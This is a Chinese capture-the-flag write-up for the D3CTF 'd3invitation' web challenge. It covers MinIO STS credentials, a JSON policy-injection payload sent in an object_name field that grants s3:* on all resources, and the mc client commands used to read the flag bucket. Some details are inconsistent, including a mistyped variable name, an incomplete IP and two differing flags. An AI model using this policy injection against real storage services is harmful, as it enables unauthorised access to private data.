D3ctf-web-d3invitation单题wp
#注入 #用kali构造凭证访问MinIO服务器 #用mc带临时凭证访问远程Minion的储存桶
还有一个 minio 服务的api,我们后面要用
/static/js/tools.js
function generateInvitation(user_id, avatarFile) {if (avatarFile) {object_name = avatarFile.name;genSTSCreds(object_name).then(credsData => {return putAvatar(credsData.access_key_id,credsData.secret_access_key,credsData.session_token,object_name,avatarFile).then(() => {navigateToInvitation(user_id,credsData.access_key_id,credsData.secret_access_key,credsData.session_token,object_name)})}).catch(error => {console.error('Error generating STS credentials or uploading avatar:', error);});} else {navigateToInvitation(user_id);}
}function navigateToInvitation(user_id, access_key_id, secret_access_key, session_token, object_name) {let url = `invitation?user_id=${encodeURIComponent(user_id)}`;if (access_key_id) {url += `&access_key_id=${encodeURIComponent(access_key_id)}`;}if (secret_access_key) {url += `&secret_access_key=${encodeURIComponent(secret_access_key)}`;}if (session_token) {url += `&session_token=${encodeURIComponent(session_token)}`;}if (object_name) {url += `&object_name=${encodeURIComponent(object_name)}`;}window.location.href = url;
}function genSTSCreds(object_name) {return new Promise((resolve, reject) => {const genSTSJson = {"object_name": object_name}fetch('/api/genSTSCreds', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify(genSTSJson)}).then(response => {if (!response.ok) {throw new Error('Network response was not ok');}return response.json();}).then(data => {resolve(data);}).catch(error => {reject(error);});});
}function getAvatarUrl(access_key_id, secret_access_key, session_token, object_name) {return `/api/getObject?access_key_id=${encodeURIComponent(access_key_id)}&secret_access_key=${encodeURIComponent(secret_access_key)}&session_token=${encodeURIComponent(session_token)}&object_name=${encodeURIComponent(object_name)}`
}function putAvatar(access_key_id, secret_access_key, session_token, object_name, avatar) {return new Promise((resolve, reject) => {const formData = new FormData();formData.append('access_key_id', access_key_id);formData.append('secret_access_key', secret_access_key);formData.append('session_token', session_token);formData.append('object_name', object_name);formData.append('avatar', avatar);fetch('/api/putObject', {method: 'POST',body: formData}).then(response => {if (!response.ok) {throw new Error('Network response was not ok');}return response.json();}).then(data => {resolve(data);}).catch(error => {reject(error);});});
}
以下是对提供的 JavaScript 代码的分析,涵盖功能逻辑、安全性和潜在问题:
核心功能流程
-
generateInvitation 函数:
- 检查用户是否上传头像 (
avatarFile
) - 有头像时:
- 调用
genSTSCreds()
获取临时安全凭证 (STS) - 使用凭证上传头像到存储服务 (
putAvatar()
) - 上传成功后跳转到邀请页面 (
navigateToInvitation()
)
- 调用
- 无头像时:直接跳转邀请页面(不传递凭证)
- 检查用户是否上传头像 (
-
凭证获取与上传:
genSTSCreds()
:通过/api/genSTSCreds
接口获取临时安全凭证putAvatar()
:使用临时凭证通过/api/putObject
上传头像文件
-
页面跳转:
navigateToInvitation()
构建包含敏感参数的 URL:invitation?user_id=...&access_key_id=...&secret_access_key=...&session_token=...&object_name=...
关键安全问题
-
敏感信息暴露 ⚠️
- 问题:将
access_key_id
、secret_access_key
、session_token
直接暴露在 URL 中 - 风险:
- 浏览器历史记录泄露
- 服务器日志记录
- Referer 头部外泄
- 第三方分析工具捕获
- 问题:将
-
临时凭证滥用 ⚠️
- STS 凭证虽有时效性,但通过 URL 传递可能被中间人截获
- 攻击者可利用凭证操作云存储(下载/删除对象)
-
缺乏错误处理 ⚠️
catch
块仅打印错误,无用户反馈- 头像上传失败时用户无感知(直接卡在流程中)
代码优化建议
-
敏感数据处理:
// 改用 sessionStorage 存储凭证 function navigateToInvitation(user_id, creds) {const token = generateSecureToken(); // 生成一次性令牌sessionStorage.setItem(token, JSON.stringify(creds));window.location.href = `invitation?user_id=${user_id}&token=${token}`; }// 邀请页面中取凭证 const token = new URLSearchParams(location.search).get('token'); const creds = JSON.parse(sessionStorage.getItem(token));
-
服务端优化:
- 改为服务端直接返回预签名 URL(避免前端处理凭证)
// 示例:S3 预签名 URL 方案 const presignedUrl = s3.generatePresignedPost('avatar-upload');
-
增强错误处理:
.catch(error => {showToast("头像上传失败,请重试"); // 用户提示enableUploadButton(); // 恢复 UI });
-
安全传输改进:
- 为
/api/genSTSCreds
和/api/putObject
启用 HTTPS - 添加 CSRF 保护令牌
- 为
其他潜在问题
问题点 | 风险说明 | 解决方案 |
---|---|---|
URL 长度限制 | 凭证参数可能超出 URL 最大长度 | 使用 POST + sessionStorage |
文件类型验证缺失 | 可能上传恶意文件 | 服务端校验 MIME 类型 |
凭证权限过宽 | STS 策略可能权限过大 | 实施最小权限原则 |
XSS 风险 | object_name 未转义 | 前端使用 encodeURIComponent |
架构改进建议
此方案优势:前端不接触敏感凭证,URL 无敏感参数,符合最小权限原则。
解题
STS凭证限制了我们的访问:
导致对于某个凭证我们只能访问特定的文件
奇安信攻防社区-浅谈S3标准下存储桶应用中的安全问题 (butian.net)
我们把这段token jwt解码一下
"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5VzY5T08zNzBQUlIyUTRaRVFWTSIsImV4cCI6MTc0OTEyMTg2NSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZVSFYwVDJKcVpXTjBJaXdpY3pNNlIyVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2YzJocGNDNXFjR2NpWFgxZGZRPT0ifQ.PPuh1lXpWNCHem95YhfRqBZCb74nRtruZjst_10nvctS92Zq7kNUvmeHDqruCGIAs2wKqw3bBfMoa7qPcRNyxQ"
发现 sessionPolicy (策略)
"sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6UHV0T2JqZWN0IiwiczM6R2V0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vc2hpcC5qcGciXX1dfQ=="
进行base64解密:
这时能看出来这是MinIO 私有化部署颁发的临时访问凭证
当前凭证同时满足:
1.eyJ
开头的JWT
2. 包含sessionPolicy
和parent
字段==→ 100% MinIO私有部署凭证
而且,发现我们的文件名是可以在这里达成可控的:
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:PutObject","s3:GetObject"],"Resource":["arn:aws:s3:::d3invitation/ship.jpg"]}]}
该SessionToken是符合JWT标准的临时凭证
“arn:aws:s3:::d3invitation/ship.jpg”是 AWS(Amazon Web Services)的 S3(Simple Storage Service)资源的 ARN(Amazon Resource Name)。
1. ARN 的构成
- arn:这是 ARN 的前缀,表示这是一个亚马逊资源名称。 Amazon Resource Name(ARN)的缩写,它是一个唯一标识符,用于标识AWS(Amazon Web Services)中的资源。
- aws:表示该资源属于 AWS 服务。
- s3:指明该资源是 S3 服务中的资源。S3 是一种对象存储服务,可以存储各种类型的文件,如图片、文档等。
- ::::这是 ARN 的分隔符,用于分隔服务和资源名称。
- d3invitation:这是 S3 存储桶(bucket)的名称。在 S3 中,存储桶是存储对象(文件)的容器。在这个例子中,“d3invitation”是存储桶的名字,它在 AWS 账户中是唯一的。
- ship.jpg:这是存储在“d3invitation”存储桶中的一个对象(文件)的名称。在这个例子中,它是一个图片文件。
2. 作用
这个 ARN 可以唯一地标识 S3 中的“ship.jpg”文件。在 AWS 的各种服务和操作中,当需要引用这个文件时,就可以使用这个 ARN。例如,在设置权限策略、在其他服务中引用该文件等场景下,这个 ARN 都可以起到关键的作用。
所以对于这个题 我们要进行IAM策略注入,提升资源范围和S3服务相关的权限:
策略注入
题目没有进行任何过滤,我们可以尝试构造一个特殊的 object_name 对 policy 进行
注入,拿到一个对 MinIO 拥有全部权限的 STS 临时凭证
-
! 也就是通过注入扩展了策略的资源(Resources)范围
-
! 同时注意一点: 策略本身像"通用货币"(可在S3/MinIO流通),但支付环境(端点/凭证/API)明确指向 MinIO
{"object_name":
"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}这是一个策略,表示 这个策略是允许访问的,对于S3服务相关的权限全部允许,操作适用的资源列表为全部资源
“MinIO”是一种高性能的对象存储服务,通常用于存储大量的非结构化数据,比如图片、视频、日志文件等。它通过提供与Amazon S3兼容的API接口,让用户可以方便地进行数据的存储和检索。在你提到的上下文中,它可能是在描述一个与MinIO相关的签名验证过程,即MinIO会检查所有签名头部的完整性,以确保数据传输的安全性和一致性。
关于策略,可参考这篇文章学习
OSS RAM策略编辑器的地址和使用方法_对象存储(OSS)-阿里云帮助中心 (aliyun.com)
[[MinIO 刻意 100% 复刻了 Amazon S3 的 API 接口 那怎么区分是谁的?]]
接下来使用这个 STS 临时凭证访问 MinIO 的 api 接口即可拿到 flag
解法一 [[d3invitation的脚本]]
D^3CTF 2025 Writeup (qq.com)
解法二 用kali构造凭证访问MinIO 服务器
大致流程:
🛠️ 操作流程解析
🔑 1. 配置访问凭证
export HC_HOST_d3invitation="http://<access_key>:<secret_key>:<session_token>@241.98.126:31797"
- 核心组件:
HC_HOST_
前缀:自定义环境变量(应为MC_HOST_
,可能是笔误)- 访问密钥:
UI69PCQ9CPQTN2BSIHGQ
- 秘密密钥:
o8m4dMgj4b1nJdt+683M
- 会话令牌:
eyJhbGci...
(JWT 格式) - 服务器地址:
241.98.126:31797
✅ MinIO 特征:
JWT 格式的session_token
确认是 MinIO 私有部署
📂 2. 列出存储桶内容
mc ls d3invitation/
输出:
[2025-06-01 17:22:06 CST] 08 flag/
d3invitation
:存储桶名称flag/
:存储桶内的目录08
:目录大小(8字节元数据)
🔍 3. 查看 flag 目录
mc ls d3invitation/flag
输出:
[2025-06-01 17:22:06 CST] 558 STAUOMD flag
flag
:文件名558
:文件大小(558字节)STAUOMD
:文件 ETag(哈希标识)
🚩 4. 获取 flag 文件内容
mc cat d3invitation/flag/flag # 应为 mc cat(cs可能是笔误)
输出:
d3ctfl-tNTnk-mE_H@Ve=eNeQuNter3d_PQLtCy_INJCctlon?lc)
- 这是文件的真实内容,即 CTF 比赛的 flag
- 格式为:
d3ctfl-<随机字符串>
🔧 技术实现原理
(1) MinIO 客户端 (mc
)
- 作用:类似 AWS
aws s3
命令的 MinIO 专用客户端 - 认证流程:
(2) 关键命令解析
命令 | 作用 | 等价 AWS 命令 |
---|---|---|
mc ls <存储桶> | 列出存储桶内容 | aws s3 ls s3://bucket |
mc ls <存储桶>/路径 | 列出目录内容 | aws s3 ls s3://path/ |
mc cat <对象路径> | 输出对象内容(此处用 cs ) | aws s3 cp s3://obj - |
(3) JWT 会话令牌工作流程
🚨 安全风险提示
-
凭证硬编码暴露:
- 访问密钥/秘密密钥直接写在命令中
- JWT 令牌包含完整策略信息(可被解码)
-
敏感信息泄露:
// JWT 解码示例 {"accessKey": "UI69PCQ9CPQTN2BSIHGQ","parent": "B9M320QXHD38WUR2MIY3","sessionPolicy": "eyJ...base64编码的策略..." }
-
防御建议:
# 正确做法:使用临时会话 mc --insecure alias set d3invitation \http://241.98.126:31797 \UI69PCQ9CPQTN2BSIHGQ \o8m4dMgj4b1nJdt+683M \--api s3v4# 单独设置会话令牌 export MC_SESSION_TOKEN_d3invitation="eyJhbGci..."
💎 总结
-
操作本质:
通过 MinIO 客户端获取存储在私有部署服务器上的 flag 文件 -
技术亮点:
- 利用 MinIO 完全兼容 S3 API 的特性
- 通过 JWT 令牌实现细粒度临时授权
- 命令行工具高效访问对象存储
-
获得 Flag:
d3ctfl-tNTnk-mE_H@Ve=eNeQuNter3d_PQLtCy_INJCctlon?lc)
payload
[[访问远端 MinIO 服务]]
export HC_HOST_d3invitation="http://WOOHQG0VHJK4XIG3PJQY:D0CSiqvuzUAm1DQ2t+PUDJVq77baOl6xv7CO3sw9:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJXT09IUUcwVkhKSzRYSUczUEpRWSIsImV4cCI6MTc0OTIxOTg3NiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.4F0-QiaS_3jyOrnovlMfF_VDZkjcYj9t8We0pCXubsugTPrOCMAX0eVwid1tSfAh75s6s4DTInxNXpVWE8JGBg@35.241.98.126:30706"
使用kali安装mc --[[MinIO 客户端工具 mc]]
export MC_HOST_d3invitation="http://83CDCL5LF7NJAUX1MLK7:w1791L7SgdoYdsnpN9PyMLpmgQYAa8CLaMUqePq9@35.241.98.126:32380"export AWS_SESSION_TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI4M0NEQ0w1TEY3TkpBVVgxTUxLNyIsImV4cCI6MTc0OTIyNDA1MCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.c-jXocFf70WO9q7nSzl26KM_6o9cK7GXR8JWSnFBbpbmB7MAsnByekrvTffwj0_C0r3Zl-8C6d4kPTaYB-IINA"
用 mc alias set
来配置:
先用 mc alias set
注册了一个叫 yz
的 alias(不带 Session Token):
mc alias set yz \http://35.241.98.126:32380 \83CDCL5LF7NJAUX1MLK7 \w1791L7SgdoYdsnpN9PyMLpmgQYAa8CLaMUqePq9 \--api S3v4
然后 用 Python 一键插入 sessionToken
:
python3 - << 'EOF'
import json, os# —— 修改为你自己的 Session Token
SESSION_TOKEN = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI4M0NEQ0w1TEY3TkpBVVgxTUxLNyIsImV4cCI6MTc0OTIyNDA1MCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.c-jXocFf70WO9q7nSzl26KM_6o9cK7GXR8JWSnFBbpbmB7MAsnByekrvTffwj0_C0r3Zl-8C6d4kPTaYB-IINA"# Alias 名称,如果之前是用 `mc alias set yz ...`,请保持这里也是 "yz"
ALIAS = "yz"# mc 的配置文件路径
config_path = os.path.expanduser("~/.mc/config.json")# 读取现有配置
with open(config_path, 'r') as f:cfg = json.load(f)# 确保 aliases.yz 存在
if "aliases" not in cfg or ALIAS not in cfg["aliases"]:print(f"错误:在 {config_path} 中找不到 alias '{ALIAS}' ,请先用 mc alias set 注册。")exit(1)# 插入 sessionToken
cfg["aliases"][ALIAS]["sessionToken"] = SESSION_TOKEN# 写回配置文件(保留缩进 2 格)
with open(config_path, 'w') as f:json.dump(cfg, f, indent=2)print(f"已成功在 {config_path} 的 alias '{ALIAS}' 中插入 sessionToken。")
EOF
执行命令获取flag储存桶的flag:
得到:
d3ctf{1_thINk-we-haV3_Enc0unTERed_Pol1CY-lnJeCt1ON?l1d}